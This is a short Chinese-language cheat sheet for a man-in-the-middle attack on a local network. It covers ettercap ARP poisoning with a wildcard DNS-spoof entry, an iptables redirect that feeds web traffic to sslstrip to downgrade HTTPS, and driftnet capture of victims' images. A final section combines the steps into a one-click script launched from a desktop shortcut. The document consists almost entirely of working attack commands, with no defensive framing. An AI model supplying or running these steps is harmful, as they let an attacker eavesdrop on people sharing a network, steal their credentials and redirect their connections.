1、ettercap -G
apt-get install ettercap-graphical 开启图形化界面 Mitm-> ARP poisoning -> sniff remote connection 中间人欺骗 /etc/ettercap/etter.dns * A 138.128.222.137 * PTR 138.128.222.137 Plugins -> dns_spoof DNS欺骗
2、证书：
sslstrip 端口转发，把80端口的数据库都抓发到10000 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 10000为sslstrip的监听端口 运行结束删除此规则： iptables -t nat -D PREROUTING 1 查看ip转发表：iptables -t nat -L 开启sslstrip sslstrip -a -k -f
3、图片捕获工具
apt install driftnet driftnet -b 捕获到新的图片时发出嘟嘟声 -i interface 选择监听接口 -f file 读取一个指定pcap数据包中的图片 -p 不让所监听的接口使用混杂模式 -a 后台模式：将捕获的图片保存到目录中（不会显示在屏幕上） -m number 指定保存图片数的数目 -d directory 指定保存图片的路径 -x prefix 指定保存图片的前缀名
合并命令，双击myapp.desktop运行上面三个程序：
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000& sslstrip -a -k -f& ettercap -G& driftnet -i wlan0 pkill -9 sslstrip iptables -t nat -D PREROUTING 1
双击运行.sh程序
新建一个myapp.desktop文件，写入：
[Desktop Entry] Name = myapp Exec = /root/Desktop/1.sh Icon = Type = Application